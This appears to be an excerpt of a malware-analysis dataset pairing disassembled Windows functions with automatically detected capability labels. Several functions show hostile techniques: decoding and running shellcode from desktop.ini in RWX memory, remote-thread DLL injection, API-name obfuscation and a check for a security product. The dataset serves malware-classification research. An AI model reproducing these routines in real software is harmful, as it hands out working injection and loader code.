joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010dc
Capabilities:
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push 0x1002040
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x100110e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2713
call fcn.01001439
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov esi, 0x10010ac
jmp 0x1001121
cmp al, 0x73
jne 0x1001142
xor ebx, ebx
inc ebx
push esi
push edi
push dword [ebp + 8]
call fcn.01001475
cmp eax, 0xffffffff
jne 0x100111a
mov eax, dword [0x1002004]
cmp dword [edi + eax*4], 0
je 0x1001154
push 0x2714
jmp 0x1001147
push 0x2710
push 2
call fcn.010013ca
pop ecx
pop ecx
push 1
jmp 0x10011d0
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jge 0x100117d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2712
call fcn.01001439
jmp 0x1001150
test ebx, ebx
je 0x1001199
lea eax, [ebp - 0x400]
push 0x2e
push eax
call dword [sym.imp.msvcrt.dll_strchr]
test eax, eax
pop ecx
pop ecx
je 0x1001199
and byte [eax], 0
lea eax, [ebp - 0x400]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011a2
sub eax, edx
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.msvcrt.dll_puts]
pop ecx
push 0
call dword [sym.imp.msvcrt.dll_exit]
int3

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x403e59
pop dword [ebp - 0x40]
mov eax, 0x22a77605
add eax, 0xdd98c854
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x2b7780bc
add dword [ebp - 0x50], 0x22dac48f
mov dword [ebp - 0x4c], 0x217baaa5
sub dword [ebp - 0x4c], 0xef485e60
mov dword [ebp - 0x48], 0x6991ab63
add dword [ebp - 0x48], 0xe2ba98cb
mov dword [ebp - 0x44], 0x22afc1c
add dword [ebp - 0x44], 0xfdd503e4
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x81e3d81d
sub dword [ebp - 0x50], 0xd716ec7
mov dword [ebp - 0x4c], 0xebf1be22
sub dword [ebp - 0x4c], 0xaa855cad
mov dword [ebp - 0x48], 0x56d303ad
add dword [ebp - 0x48], 0xc9c68bf
mov dword [ebp - 0x44], 0xcd95c1e5
sub dword [ebp - 0x44], 0xcd95c1e5
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a515
push 0
call eax
mov ecx, 0x5648
xor edx, edx
add edx, eax
mov edi, 0x410000
add edi, dword [ebp - 0x40]
mov esi, 0x5e897152
add dword [ebp - 0x24], 0xb342c503
mov ebx, dword [edi]
xor dword [ebp - 8], 0x31736733
sub ebx, esi
add dword [ebp - 0x3c], esi
mov dword [edx], ebx
sub dword [ebp - 0x28], 0x31f941c3
add edx, 0xdf771eff
sub edx, 0xdf771efb
add edi, 0xfc32e6df
add edi, 0x3cd1925
loop 0x403f61
add eax, 0x14bf3
mov ebx, eax
add eax, 5
mov ecx, 0x33d18ee7
sub ecx, 0x33918ee7
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10002c00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10033024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], edx
push eax
push 0x20006
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10002c59
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x10002c7c
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov edx, dword [ebp + 8]
sete bl
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10002c9c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x10002cb4
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.1000fe6a
mov esp, ebp
pop ebp
ret
Function at 0x10002cd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024c88
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x10033024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 2
push eax
push 0x20006
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10002d45
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x10002db0
mov eax, dword [ebp + 0x10]
cmp dword [eax - 4], 1
mov esi, dword [eax - 0xc]
jle 0x10002d5d
push esi
lea ecx, [ebp + 0x10]
call fcn.1000f520
mov eax, dword [ebp + 0x10]
lea ecx, [esi + esi]
push ecx
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov eax, dword [ebp + 0x10]
push dword [eax - 8]
push eax
call fcn.10017ac3
mov edx, eax
add esp, 8
test edx, edx
js 0x10002e2e
mov ecx, dword [ebp + 0x10]
cmp edx, dword [ecx - 8]
jg 0x10002e2e
mov dword [ecx - 0xc], edx
xor ecx, ecx
mov eax, dword [ebp + 0x10]
mov word [eax + edx*2], cx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete bl
mov byte [ebp - 4], 1
mov edx, dword [ebp + 8]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10002dd4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10002df2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x10002e11
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000fe6a
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.1000f6f0
int3
Function at 0x10002e40
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10033024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
push dword [ebp + 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10002e92
mov eax, dword [ebp + 0x10]
cmp dword [eax - 0xc], 0
jle 0x10002ef6
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x10002f11
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
mov edx, dword [ebp + 8]
push esi
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10002eb2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0xc]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10002ecc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
pop esi
jg 0x10002ee5
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1000fe6a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp dword [eax - 0xc], 0
jle 0x10002e89
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x10002e89
mov bl, 1
jmp 0x10002e94
Function at 0x10007c60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10033024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
cmp edi, 0xffffffff
jne 0x10007c91
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fe6a
mov esp, ebp
pop ebp
ret 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 1
push 0
mov dword [ebp - 0x20], eax
call esi
mov esi, eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x24], esi
push eax
push dword [ebp + 0x10]
movlpd qword [ebp - 0x1c], xmm0
push ebx
push edi
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x12c
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10007cfa
push edi
call dword [sym.imp.KERNEL32.dll_CancelIo]
push edi
call dword [sym.imp.HID.DLL_HidD_FlushQueue]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp + 0x14], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], esi
je 0x10007d24
mov byte [ebx], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x12c
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10007d4c
lea esi, [eax + 1]
jmp 0x10007d5c
push edi
call dword [sym.imp.KERNEL32.dll_CancelIo]
push edi
call dword [sym.imp.HID.DLL_HidD_FlushQueue]
xor esi, esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1000fe6a
mov esp, ebp
pop ebp
ret 0x10

Function at 0x1000ccf0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x100344e0], 0
push esi
jne 0x1000cd1f
push 0x528
call fcn.1000feac
push 0x528
mov esi, eax
push 0
push esi
call fcn.10011cc0
add esp, 0x10
mov dword [0x100344e0], esi
pop esi
pop ebp
jmp fcn.10005d60

Function at 0x1000f2d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000f329
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000f329
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x1000f318
cmp esi, edx
jae 0x1000f329
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x1000f306
cmp esi, edx
jae 0x1000f329
cmp word [esi], 0
je 0x1000f329
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x10012a31
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x100129f1
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x10012a0f
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x10012a6d
mov edx, edi
mov dword [ebp + 8], edi
or byte [ecx + 0x865], al
add byte [eax - 0x77], al
jge 0x10012a4c
or byte [ecx + 0x865], al
add byte [eax - 0x77], al
jge 0x10012a4c
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10012a54
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x10012a5d
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10012a67
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10012a49
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x100129d3
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x10012aba
dec eax
je 0x10012ab1
sub eax, 3
je 0x10012aa8
mov dword [ebp - 4], 0x40
jmp 0x10012ad7
mov dword [ebp - 4], 4
jmp 0x10012abd
mov dword [ebp - 4], 0x20
jmp 0x10012abd
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x10012b09
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10012a89
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.1001231a
mov bl, 0xb3
lds ebp, [edi + edi*8 + 0x16a1475]
push esi
call edi
mov eax, esi
jmp 0x10012b15
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10012fec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [ecx]
cmp dword [ebp - 0x398], 0
je 0x1001300e
cmp dword [ebp - 0x398], 0
je 0x100131d8
cmp dword [ebp + 0xc], 1
je 0x100131d8
cmp dword [ebp + 0xc], 8
jne fcn.100131a0
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.1001232a
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100122df
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.1001231a
mov dword [ebp + 0x5a], edi
xchg ecx, eax
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
invalid
movsd dword es:[edi], dword [esi]
aam 0xfe
Function at 0x4017cd
Capabilities:
Check os version
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
mov eax, dword [0x42d4b4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x118
lea eax, [ebp - 0x538]
mov ebx, edx
push 0
push eax
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x53c], 0x11c
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x538], 6
jb 0x4018fa
jne 0x401833
cmp dword [ebp - 0x530], 0x1bbc
jb 0x4018fa
xor eax, eax
lea edi, [ebp - 0x54c]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x594]
pop edi
push edi
push 0
push eax
call sub.msvcrt.dll_memset
or dword [ebp - 0x568], 1
xor eax, eax
mov dword [ebp - 0x594], edi
xor edi, edi
push 0x410
mov word [ebp - 0x564], ax
lea eax, [ebp - 0x41c]
push edi
push eax
call sub.msvcrt.dll_memset
push ebx
push esi
push str.__s____s_
lea eax, [ebp - 0x41c]
push 0x208
push eax
call fcn.00404f8a
add esp, 0x2c
lea eax, [ebp - 0x54c]
push eax
lea eax, [ebp - 0x594]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4018fa
push 0x1388
push dword [ebp - 0x54c]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp + 8]
mov edx, esi
push ecx
fstp dword [esp]
call fcn.00401662
pop ecx
push edi
push dword [ebp - 0x54c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, esi
jmp 0x4018fc
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f870
leave
ret
Function at 0x401e68
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x42d4b4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x42f7b0], 0
jne 0x401eb5
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0x1f400
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x42f7b0], eax
call fcn.00406c26
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f870
leave
ret
Function at 0x402897
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42d4b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x20c]
push ebx
push eax
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x20c]
push 2
pop edi
cmp word [ebp - 0x20c], bx
je 0x4028f2
add ecx, edi
cmp word [ecx], bx
jne 0x4028eb
mov eax, ecx
lea edx, [ebp - 0x20c]
sub eax, edx
and eax, 0xfffffffe
cmp eax, 0x20
jle 0x402917
push 0x5c
pop eax
jmp 0x40290b
sub ecx, edi
cmp word [ecx], ax
jne 0x402909
add ecx, edi
xor eax, eax
mov word [ecx], ax
push 0x45
mov eax, str.ExplorerExt.dll
pop edx
sub eax, ecx
mov word [ecx], dx
add ecx, edi
movzx edx, word [eax + ecx]
test dx, dx
jne 0x402921
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x20c]
call fcn.00404e67
test eax, eax
je 0x4029d3
push esi
push ebx
push 0xf00ff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4029d3
push 4
push 0x1000
push 0x208
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebx
mov esi, eax
lea eax, [ebp - 0x20c]
push 0x208
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push ebx
push esi
push 0x427d5c
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x4029d3
push 0xffffffffffffffff
push esi
mov dword [ebp - 0x210], ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f870
leave
ret
Function at 0x40306c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x42d4b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x208
lea eax, [ebp - 0x20c]
mov esi, ecx
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..._safemonBrowserFix.dll
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [ebp - 0x20c]
call fcn.00404e67
test eax, eax
lea eax, [ebp - 0x20c]
pop esi
push eax
jne 0x4030e0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40310c
jmp 0x4030fe
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x4030fe
push str.ShowLockHomePageDlg
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4030fe
call eax
jmp 0x403100
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f870
leave
ret
push ecx
call fcn.00404b39
mov edx, eax
lea ecx, [ebp - 0x20c]
call fcn.00404a3b
int3
Function at 0x404299
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4042ef
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4042ef
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4042e1
cmp esi, ecx
jae 0x4042ef
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x4042cf
cmp esi, ecx
jae 0x4042ef
cmp word [esi], 0
je 0x4042ef
mov eax, esi
jmp 0x4042f1
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40495f
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x42d4b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, 0x800
lea eax, [ebp - 0x804]
push esi
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x80c], 1
lea eax, [ebp - 0x808]
mov dword [ebp - 0x808], esi
push eax
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x80c]
push eax
push str.Path
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths360safe.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x404a2a
push str.360ver.dll
lea eax, [ebp - 0x804]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404a2a
lea ecx, [ebp - 0x804]
call fcn.00404e67
test eax, eax
je 0x404a2a
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x404a2a
push str.IsBetaVersion
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x404a2d
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041f870
leave
ret